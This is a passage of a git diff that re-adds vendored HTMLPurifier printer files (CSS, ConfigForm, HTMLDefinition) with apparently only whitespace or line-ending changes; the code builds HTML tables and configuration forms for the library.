'HTMLPurifier_Printer')); - $ret .= $this->start('table'); - - $ret .= $this->element('caption', 'Properties ($info)'); - - $ret .= $this->start('thead'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Property', array('class' => 'heavy')); - $ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;')); - $ret .= $this->end('tr'); - $ret .= $this->end('thead'); - - ksort($this->def->info); - foreach ($this->def->info as $property => $obj) { - $name = $this->getClass($obj, 'AttrDef_'); - $ret .= $this->row($property, $name); - } - - $ret .= $this->end('table'); - $ret .= $this->end('div'); - - return $ret; - } -} - -// vim: et sw=4 sts=4 +def = $config->getCSSDefinition(); + $ret = ''; + + $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); + $ret .= $this->start('table'); + + $ret .= $this->element('caption', 'Properties ($info)'); + + $ret .= $this->start('thead'); + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Property', array('class' => 'heavy')); + $ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;')); + $ret .= $this->end('tr'); + $ret .= $this->end('thead'); + + ksort($this->def->info); + foreach ($this->def->info as $property => $obj) { + $name = $this->getClass($obj, 'AttrDef_'); + $ret .= $this->row($property, $name); + } + + $ret .= $this->end('table'); + $ret .= $this->end('div'); + + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css index 7af30fc3a0..3ff1a88aa4 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css @@ -1,10 +1,10 @@ - -.hp-config {} - -.hp-config tbody th {text-align:right; padding-right:0.5em;} -.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;} -.hp-config .namespace th {text-align:center;} -.hp-config .verbose {display:none;} -.hp-config .controls {text-align:center;} - -/* vim: et sw=4 sts=4 */ + +.hp-config {} + +.hp-config tbody th {text-align:right; padding-right:0.5em;} +.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;} +.hp-config .namespace th {text-align:center;} +.hp-config .verbose {display:none;} +.hp-config .controls {text-align:center;} + +/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js index 83e0655314..cba00c9b80 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js @@ -1,5 +1,5 @@ -function toggleWriteability(id_of_patient, checked) { - document.getElementById(id_of_patient).disabled = checked; -} - -// vim: et sw=4 sts=4 +function toggleWriteability(id_of_patient, checked) { + document.getElementById(id_of_patient).disabled = checked; +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php index 8897002ea3..33ae11397e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php @@ -1,451 +1,451 @@ -docURL = $doc_url; - $this->name = $name; - $this->compress = $compress; - // initialize sub-printers - $this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default(); - $this->fields[HTMLPurifier_VarParser::C_BOOL] = new HTMLPurifier_Printer_ConfigForm_bool(); - } - - /** - * Sets default column and row size for textareas in sub-printers - * @param $cols Integer columns of textarea, null to use default - * @param $rows Integer rows of textarea, null to use default - */ - public function setTextareaDimensions($cols = null, $rows = null) - { - if ($cols) { - $this->fields['default']->cols = $cols; - } - if ($rows) { - $this->fields['default']->rows = $rows; - } - } - - /** - * Retrieves styling, in case it is not accessible by webserver - */ - public static function getCSS() - { - return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); - } - - /** - * Retrieves JavaScript, in case it is not accessible by webserver - */ - public static function getJavaScript() - { - return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); - } - - /** - * Returns HTML output for a configuration form - * @param HTMLPurifier_Config|array $config Configuration object of current form state, or an array - * where [0] has an HTML namespace and [1] is being rendered. - * @param array|bool $allowed Optional namespace(s) and directives to restrict form to. - * @param bool $render_controls - * @return string - */ - public function render($config, $allowed = true, $render_controls = true) - { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - - $this->config = $config; - $this->genConfig = $gen_config; - $this->prepareGenerator($gen_config); - - $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def); - $all = array(); - foreach ($allowed as $key) { - list($ns, $directive) = $key; - $all[$ns][$directive] = $config->get($ns . '.' . $directive); - } - - $ret = ''; - $ret .= $this->start('table', array('class' => 'hp-config')); - $ret .= $this->start('thead'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Directive', array('class' => 'hp-directive')); - $ret .= $this->element('th', 'Value', array('class' => 'hp-value')); - $ret .= $this->end('tr'); - $ret .= $this->end('thead'); - foreach ($all as $ns => $directives) { - $ret .= $this->renderNamespace($ns, $directives); - } - if ($render_controls) { - $ret .= $this->start('tbody'); - $ret .= $this->start('tr'); - $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls')); - $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit')); - $ret .= '[Reset]'; - $ret .= $this->end('td'); - $ret .= $this->end('tr'); - $ret .= $this->end('tbody'); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders a single namespace - * @param $ns String namespace name - * @param array $directives array of directives to values - * @return string - */ - protected function renderNamespace($ns, $directives) - { - $ret = ''; - $ret .= $this->start('tbody', array('class' => 'namespace')); - $ret .= $this->start('tr'); - $ret .= $this->element('th', $ns, array('colspan' => 2)); - $ret .= $this->end('tr'); - $ret .= $this->end('tbody'); - $ret .= $this->start('tbody'); - foreach ($directives as $directive => $value) { - $ret .= $this->start('tr'); - $ret .= $this->start('th'); - if ($this->docURL) { - $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL); - $ret .= $this->start('a', array('href' => $url)); - } - $attr = array('for' => "{$this->name}:$ns.$directive"); - - // crop directive name if it's too long - if (!$this->compress || (strlen($directive) < $this->compress)) { - $directive_disp = $directive; - } else { - $directive_disp = substr($directive, 0, $this->compress - 2) . '...'; - $attr['title'] = $directive; - } - - $ret .= $this->element( - 'label', - $directive_disp, - // component printers must create an element with this id - $attr - ); - if ($this->docURL) { - $ret .= $this->end('a'); - } - $ret .= $this->end('th'); - - $ret .= $this->start('td'); - $def = $this->config->def->info["$ns.$directive"]; - if (is_int($def)) { - $allow_null = $def < 0; - $type = abs($def); - } else { - $type = $def->type; - $allow_null = isset($def->allow_null); - } - if (!isset($this->fields[$type])) { - $type = 0; - } // default - $type_obj = $this->fields[$type]; - if ($allow_null) { - $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj); - } - $ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config)); - $ret .= $this->end('td'); - $ret .= $this->end('tr'); - } - $ret .= $this->end('tbody'); - return $ret; - } - -} - -/** - * Printer decorator for directives that accept null - */ -class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer -{ - /** - * Printer being decorated - * @type HTMLPurifier_Printer - */ - protected $obj; - - /** - * @param HTMLPurifier_Printer $obj Printer to decorate - */ - public function __construct($obj) - { - parent::__construct(); - $this->obj = $obj; - } - - /** - * @param string $ns - * @param string $directive - * @param string $value - * @param string $name - * @param HTMLPurifier_Config|array $config - * @return string - */ - public function render($ns, $directive, $value, $name, $config) - { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - $this->prepareGenerator($gen_config); - - $ret = ''; - $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' Null/Disabled'); - $ret .= $this->end('label'); - $attr = array( - 'type' => 'checkbox', - 'value' => '1', - 'class' => 'null-toggle', - 'name' => "$name" . "[Null_$ns.$directive]", - 'id' => "$name:Null_$ns.$directive", - 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!! - ); - if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) { - // modify inline javascript slightly - $attr['onclick'] = - "toggleWriteability('$name:Yes_$ns.$directive',checked);" . - "toggleWriteability('$name:No_$ns.$directive',checked)"; - } - if ($value === null) { - $attr['checked'] = 'checked'; - } - $ret .= $this->elementEmpty('input', $attr); - $ret .= $this->text(' or '); - $ret .= $this->elementEmpty('br'); - $ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config)); - return $ret; - } -} - -/** - * Swiss-army knife configuration form field printer - */ -class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer -{ - /** - * @type int - */ - public $cols = 18; - - /** - * @type int - */ - public $rows = 5; - - /** - * @param string $ns - * @param string $directive - * @param string $value - * @param string $name - * @param HTMLPurifier_Config|array $config - * @return string - */ - public function render($ns, $directive, $value, $name, $config) - { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - $this->prepareGenerator($gen_config); - // this should probably be split up a little - $ret = ''; - $def = $config->def->info["$ns.$directive"]; - if (is_int($def)) { - $type = abs($def); - } else { - $type = $def->type; - } - if (is_array($value)) { - switch ($type) { - case HTMLPurifier_VarParser::LOOKUP: - $array = $value; - $value = array(); - foreach ($array as $val => $b) { - $value[] = $val; - } - //TODO does this need a break? - case HTMLPurifier_VarParser::ALIST: - $value = implode(PHP_EOL, $value); - break; - case HTMLPurifier_VarParser::HASH: - $nvalue = ''; - foreach ($value as $i => $v) { - if (is_array($v)) { - // HACK - $v = implode(";", $v); - } - $nvalue .= "$i:$v" . PHP_EOL; - } - $value = $nvalue; - break; - default: - $value = ''; - } - } - if ($type === HTMLPurifier_VarParser::C_MIXED) { - return 'Not supported'; - $value = serialize($value); - } - $attr = array( - 'name' => "$name" . "[$ns.$directive]", - 'id' => "$name:$ns.$directive" - ); - if ($value === null) { - $attr['disabled'] = 'disabled'; - } - if (isset($def->allowed)) { - $ret .= $this->start('select', $attr); - foreach ($def->allowed as $val => $b) { - $attr = array(); - if ($value == $val) { - $attr['selected'] = 'selected'; - } - $ret .= $this->element('option', $val, $attr); - } - $ret .= $this->end('select'); - } elseif ($type === HTMLPurifier_VarParser::TEXT || - $type === HTMLPurifier_VarParser::ITEXT || - $type === HTMLPurifier_VarParser::ALIST || - $type === HTMLPurifier_VarParser::HASH || - $type === HTMLPurifier_VarParser::LOOKUP) { - $attr['cols'] = $this->cols; - $attr['rows'] = $this->rows; - $ret .= $this->start('textarea', $attr); - $ret .= $this->text($value); - $ret .= $this->end('textarea'); - } else { - $attr['value'] = $value; - $attr['type'] = 'text'; - $ret .= $this->elementEmpty('input', $attr); - } - return $ret; - } -} - -/** - * Bool form field printer - */ -class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer -{ - /** - * @param string $ns - * @param string $directive - * @param string $value - * @param string $name - * @param HTMLPurifier_Config|array $config - * @return string - */ - public function render($ns, $directive, $value, $name, $config) - { - if (is_array($config) && isset($config[0])) { - $gen_config = $config[0]; - $config = $config[1]; - } else { - $gen_config = $config; - } - $this->prepareGenerator($gen_config); - $ret = ''; - $ret .= $this->start('div', array('id' => "$name:$ns.$directive")); - - $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' Yes'); - $ret .= $this->end('label'); - - $attr = array( - 'type' => 'radio', - 'name' => "$name" . "[$ns.$directive]", - 'id' => "$name:Yes_$ns.$directive", - 'value' => '1' - ); - if ($value === true) { - $attr['checked'] = 'checked'; - } - if ($value === null) { - $attr['disabled'] = 'disabled'; - } - $ret .= $this->elementEmpty('input', $attr); - - $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive")); - $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); - $ret .= $this->text(' No'); - $ret .= $this->end('label'); - - $attr = array( - 'type' => 'radio', - 'name' => "$name" . "[$ns.$directive]", - 'id' => "$name:No_$ns.$directive", - 'value' => '0' - ); - if ($value === false) { - $attr['checked'] = 'checked'; - } - if ($value === null) { - $attr['disabled'] = 'disabled'; - } - $ret .= $this->elementEmpty('input', $attr); - - $ret .= $this->end('div'); - - return $ret; - } -} - -// vim: et sw=4 sts=4 +docURL = $doc_url; + $this->name = $name; + $this->compress = $compress; + // initialize sub-printers + $this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default(); + $this->fields[HTMLPurifier_VarParser::C_BOOL] = new HTMLPurifier_Printer_ConfigForm_bool(); + } + + /** + * Sets default column and row size for textareas in sub-printers + * @param $cols Integer columns of textarea, null to use default + * @param $rows Integer rows of textarea, null to use default + */ + public function setTextareaDimensions($cols = null, $rows = null) + { + if ($cols) { + $this->fields['default']->cols = $cols; + } + if ($rows) { + $this->fields['default']->rows = $rows; + } + } + + /** + * Retrieves styling, in case it is not accessible by webserver + */ + public static function getCSS() + { + return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); + } + + /** + * Retrieves JavaScript, in case it is not accessible by webserver + */ + public static function getJavaScript() + { + return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); + } + + /** + * Returns HTML output for a configuration form + * @param HTMLPurifier_Config|array $config Configuration object of current form state, or an array + * where [0] has an HTML namespace and [1] is being rendered. + * @param array|bool $allowed Optional namespace(s) and directives to restrict form to. + * @param bool $render_controls + * @return string + */ + public function render($config, $allowed = true, $render_controls = true) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + + $this->config = $config; + $this->genConfig = $gen_config; + $this->prepareGenerator($gen_config); + + $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def); + $all = array(); + foreach ($allowed as $key) { + list($ns, $directive) = $key; + $all[$ns][$directive] = $config->get($ns . '.' . $directive); + } + + $ret = ''; + $ret .= $this->start('table', array('class' => 'hp-config')); + $ret .= $this->start('thead'); + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Directive', array('class' => 'hp-directive')); + $ret .= $this->element('th', 'Value', array('class' => 'hp-value')); + $ret .= $this->end('tr'); + $ret .= $this->end('thead'); + foreach ($all as $ns => $directives) { + $ret .= $this->renderNamespace($ns, $directives); + } + if ($render_controls) { + $ret .= $this->start('tbody'); + $ret .= $this->start('tr'); + $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls')); + $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit')); + $ret .= '[Reset]'; + $ret .= $this->end('td'); + $ret .= $this->end('tr'); + $ret .= $this->end('tbody'); + } + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders a single namespace + * @param $ns String namespace name + * @param array $directives array of directives to values + * @return string + */ + protected function renderNamespace($ns, $directives) + { + $ret = ''; + $ret .= $this->start('tbody', array('class' => 'namespace')); + $ret .= $this->start('tr'); + $ret .= $this->element('th', $ns, array('colspan' => 2)); + $ret .= $this->end('tr'); + $ret .= $this->end('tbody'); + $ret .= $this->start('tbody'); + foreach ($directives as $directive => $value) { + $ret .= $this->start('tr'); + $ret .= $this->start('th'); + if ($this->docURL) { + $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL); + $ret .= $this->start('a', array('href' => $url)); + } + $attr = array('for' => "{$this->name}:$ns.$directive"); + + // crop directive name if it's too long + if (!$this->compress || (strlen($directive) < $this->compress)) { + $directive_disp = $directive; + } else { + $directive_disp = substr($directive, 0, $this->compress - 2) . '...'; + $attr['title'] = $directive; + } + + $ret .= $this->element( + 'label', + $directive_disp, + // component printers must create an element with this id + $attr + ); + if ($this->docURL) { + $ret .= $this->end('a'); + } + $ret .= $this->end('th'); + + $ret .= $this->start('td'); + $def = $this->config->def->info["$ns.$directive"]; + if (is_int($def)) { + $allow_null = $def < 0; + $type = abs($def); + } else { + $type = $def->type; + $allow_null = isset($def->allow_null); + } + if (!isset($this->fields[$type])) { + $type = 0; + } // default + $type_obj = $this->fields[$type]; + if ($allow_null) { + $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj); + } + $ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config)); + $ret .= $this->end('td'); + $ret .= $this->end('tr'); + } + $ret .= $this->end('tbody'); + return $ret; + } + +} + +/** + * Printer decorator for directives that accept null + */ +class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer +{ + /** + * Printer being decorated + * @type HTMLPurifier_Printer + */ + protected $obj; + + /** + * @param HTMLPurifier_Printer $obj Printer to decorate + */ + public function __construct($obj) + { + parent::__construct(); + $this->obj = $obj; + } + + /** + * @param string $ns + * @param string $directive + * @param string $value + * @param string $name + * @param HTMLPurifier_Config|array $config + * @return string + */ + public function render($ns, $directive, $value, $name, $config) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + $this->prepareGenerator($gen_config); + + $ret = ''; + $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive")); + $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); + $ret .= $this->text(' Null/Disabled'); + $ret .= $this->end('label'); + $attr = array( + 'type' => 'checkbox', + 'value' => '1', + 'class' => 'null-toggle', + 'name' => "$name" . "[Null_$ns.$directive]", + 'id' => "$name:Null_$ns.$directive", + 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!! + ); + if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) { + // modify inline javascript slightly + $attr['onclick'] = + "toggleWriteability('$name:Yes_$ns.$directive',checked);" . + "toggleWriteability('$name:No_$ns.$directive',checked)"; + } + if ($value === null) { + $attr['checked'] = 'checked'; + } + $ret .= $this->elementEmpty('input', $attr); + $ret .= $this->text(' or '); + $ret .= $this->elementEmpty('br'); + $ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config)); + return $ret; + } +} + +/** + * Swiss-army knife configuration form field printer + */ +class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer +{ + /** + * @type int + */ + public $cols = 18; + + /** + * @type int + */ + public $rows = 5; + + /** + * @param string $ns + * @param string $directive + * @param string $value + * @param string $name + * @param HTMLPurifier_Config|array $config + * @return string + */ + public function render($ns, $directive, $value, $name, $config) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + $this->prepareGenerator($gen_config); + // this should probably be split up a little + $ret = ''; + $def = $config->def->info["$ns.$directive"]; + if (is_int($def)) { + $type = abs($def); + } else { + $type = $def->type; + } + if (is_array($value)) { + switch ($type) { + case HTMLPurifier_VarParser::LOOKUP: + $array = $value; + $value = array(); + foreach ($array as $val => $b) { + $value[] = $val; + } + //TODO does this need a break? + case HTMLPurifier_VarParser::ALIST: + $value = implode(PHP_EOL, $value); + break; + case HTMLPurifier_VarParser::HASH: + $nvalue = ''; + foreach ($value as $i => $v) { + if (is_array($v)) { + // HACK + $v = implode(";", $v); + } + $nvalue .= "$i:$v" . PHP_EOL; + } + $value = $nvalue; + break; + default: + $value = ''; + } + } + if ($type === HTMLPurifier_VarParser::C_MIXED) { + return 'Not supported'; + $value = serialize($value); + } + $attr = array( + 'name' => "$name" . "[$ns.$directive]", + 'id' => "$name:$ns.$directive" + ); + if ($value === null) { + $attr['disabled'] = 'disabled'; + } + if (isset($def->allowed)) { + $ret .= $this->start('select', $attr); + foreach ($def->allowed as $val => $b) { + $attr = array(); + if ($value == $val) { + $attr['selected'] = 'selected'; + } + $ret .= $this->element('option', $val, $attr); + } + $ret .= $this->end('select'); + } elseif ($type === HTMLPurifier_VarParser::TEXT || + $type === HTMLPurifier_VarParser::ITEXT || + $type === HTMLPurifier_VarParser::ALIST || + $type === HTMLPurifier_VarParser::HASH || + $type === HTMLPurifier_VarParser::LOOKUP) { + $attr['cols'] = $this->cols; + $attr['rows'] = $this->rows; + $ret .= $this->start('textarea', $attr); + $ret .= $this->text($value); + $ret .= $this->end('textarea'); + } else { + $attr['value'] = $value; + $attr['type'] = 'text'; + $ret .= $this->elementEmpty('input', $attr); + } + return $ret; + } +} + +/** + * Bool form field printer + */ +class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer +{ + /** + * @param string $ns + * @param string $directive + * @param string $value + * @param string $name + * @param HTMLPurifier_Config|array $config + * @return string + */ + public function render($ns, $directive, $value, $name, $config) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + $this->prepareGenerator($gen_config); + $ret = ''; + $ret .= $this->start('div', array('id' => "$name:$ns.$directive")); + + $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive")); + $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); + $ret .= $this->text(' Yes'); + $ret .= $this->end('label'); + + $attr = array( + 'type' => 'radio', + 'name' => "$name" . "[$ns.$directive]", + 'id' => "$name:Yes_$ns.$directive", + 'value' => '1' + ); + if ($value === true) { + $attr['checked'] = 'checked'; + } + if ($value === null) { + $attr['disabled'] = 'disabled'; + } + $ret .= $this->elementEmpty('input', $attr); + + $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive")); + $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); + $ret .= $this->text(' No'); + $ret .= $this->end('label'); + + $attr = array( + 'type' => 'radio', + 'name' => "$name" . "[$ns.$directive]", + 'id' => "$name:No_$ns.$directive", + 'value' => '0' + ); + if ($value === false) { + $attr['checked'] = 'checked'; + } + if ($value === null) { + $attr['disabled'] = 'disabled'; + } + $ret .= $this->elementEmpty('input', $attr); + + $ret .= $this->end('div'); + + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php index c18cd95d5e..ae8639176e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php @@ -1,324 +1,324 @@ -config =& $config; - - $this->def = $config->getHTMLDefinition(); - - $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); - - $ret .= $this->renderDoctype(); - $ret .= $this->renderEnvironment(); - $ret .= $this->renderContentSets(); - $ret .= $this->renderInfo(); - - $ret .= $this->end('div'); - - return $ret; - } - - /** - * Renders the Doctype table - * @return string - */ - protected function renderDoctype() - { - $doctype = $this->def->doctype; - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Doctype'); - $ret .= $this->row('Name', $doctype->name); - $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No'); - $ret .= $this->row('Default Modules', implode(', ', $doctype->modules)); - $ret .= $this->row('Default Tidy Modules', implode(', ', $doctype->tidyModules)); - $ret .= $this->end('table'); - return $ret; - } - - - /** - * Renders environment table, which is miscellaneous info - * @return string - */ - protected function renderEnvironment() - { - $def = $this->def; - - $ret = ''; - - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Environment'); - - $ret .= $this->row('Parent of fragment', $def->info_parent); - $ret .= $this->renderChildren($def->info_parent_def->child); - $ret .= $this->row('Block wrap name', $def->info_block_wrapper); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Global attributes'); - $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr), null, 0); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Tag transforms'); - $list = array(); - foreach ($def->info_tag_transform as $old => $new) { - $new = $this->getClass($new, 'TagTransform_'); - $list[] = "<$old> with $new"; - } - $ret .= $this->element('td', $this->listify($list)); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Pre-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre)); - $ret .= $this->end('tr'); - - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Post-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post)); - $ret .= $this->end('tr'); - - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders the Content Sets table - * @return string - */ - protected function renderContentSets() - { - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Content Sets'); - foreach ($this->def->info_content_sets as $name => $lookup) { - $ret .= $this->heavyHeader($name); - $ret .= $this->start('tr'); - $ret .= $this->element('td', $this->listifyTagLookup($lookup)); - $ret .= $this->end('tr'); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders the Elements ($info) table - * @return string - */ - protected function renderInfo() - { - $ret = ''; - $ret .= $this->start('table'); - $ret .= $this->element('caption', 'Elements ($info)'); - ksort($this->def->info); - $ret .= $this->heavyHeader('Allowed tags', 2); - $ret .= $this->start('tr'); - $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2)); - $ret .= $this->end('tr'); - foreach ($this->def->info as $name => $def) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', "<$name>", array('class' => 'heavy', 'colspan' => 2)); - $ret .= $this->end('tr'); - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Inline content'); - $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No'); - $ret .= $this->end('tr'); - if (!empty($def->excludes)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Excludes'); - $ret .= $this->element('td', $this->listifyTagLookup($def->excludes)); - $ret .= $this->end('tr'); - } - if (!empty($def->attr_transform_pre)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Pre-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre)); - $ret .= $this->end('tr'); - } - if (!empty($def->attr_transform_post)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Post-AttrTransform'); - $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post)); - $ret .= $this->end('tr'); - } - if (!empty($def->auto_close)) { - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Auto closed by'); - $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close)); - $ret .= $this->end('tr'); - } - $ret .= $this->start('tr'); - $ret .= $this->element('th', 'Allowed attributes'); - $ret .= $this->element('td', $this->listifyAttr($def->attr), array(), 0); - $ret .= $this->end('tr'); - - if (!empty($def->required_attr)) { - $ret .= $this->row('Required attributes', $this->listify($def->required_attr)); - } - - $ret .= $this->renderChildren($def->child); - } - $ret .= $this->end('table'); - return $ret; - } - - /** - * Renders a row describing the allowed children of an element - * @param HTMLPurifier_ChildDef $def HTMLPurifier_ChildDef of pertinent element - * @return string - */ - protected function renderChildren($def) - { - $context = new HTMLPurifier_Context(); - $ret = ''; - $ret .= $this->start('tr'); - $elements = array(); - $attr = array(); - if (isset($def->elements)) { - if ($def->type == 'strictblockquote') { - $def->validateChildren(array(), $this->config, $context); - } - $elements = $def->elements; - } - if ($def->type == 'chameleon') { - $attr['rowspan'] = 2; - } elseif ($def->type == 'empty') { - $elements = array(); - } elseif ($def->type == 'table') { - $elements = array_flip( - array( - 'col', - 'caption', - 'colgroup', - 'thead', - 'tfoot', - 'tbody', - 'tr' - ) - ); - } - $ret .= $this->element('th', 'Allowed children', $attr); - - if ($def->type == 'chameleon') { - - $ret .= $this->element( - 'td', - 'Block: ' . - $this->escape($this->listifyTagLookup($def->block->elements)), - null, - 0 - ); - $ret .= $this->end('tr'); - $ret .= $this->start('tr'); - $ret .= $this->element( - 'td', - 'Inline: ' . - $this->escape($this->listifyTagLookup($def->inline->elements)), - null, - 0 - ); - - } elseif ($def->type == 'custom') { - - $ret .= $this->element( - 'td', - '' . ucfirst($def->type) . ': ' . - $def->dtd_regex - ); - - } else { - $ret .= $this->element( - 'td', - '' . ucfirst($def->type) . ': ' . - $this->escape($this->listifyTagLookup($elements)), - null, - 0 - ); - } - $ret .= $this->end('tr'); - return $ret; - } - - /** - * Listifies a tag lookup table. - * @param array $array Tag lookup array in form of array('tagname' => true) - * @return string - */ - protected function listifyTagLookup($array) - { - ksort($array); - $list = array(); - foreach ($array as $name => $discard) { - if ($name !== '#PCDATA' && !isset($this->def->info[$name])) { - continue; - } - $list[] = $name; - } - return $this->listify($list); - } - - /** - * Listifies a list of objects by retrieving class names and internal state - * @param array $array List of objects - * @return string - * @todo Also add information about internal state - */ - protected function listifyObjectList($array) - { - ksort($array); - $list = array(); - foreach ($array as $obj) { - $list[] = $this->getClass($obj, 'AttrTransform_'); - } - return $this->listify($list); - } - - /** - * Listifies a hash of attributes to AttrDef classes - * @param array $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef) - * @return string - */ - protected function listifyAttr($array) - { - ksort($array); - $list = array(); - foreach ($array as $name => $obj) { - if ($obj === false) { - continue; - } - $list[] = "$name = " . $this->getClass($obj, 'AttrDef_') . ''; - } - return $this->listify($list); - } - 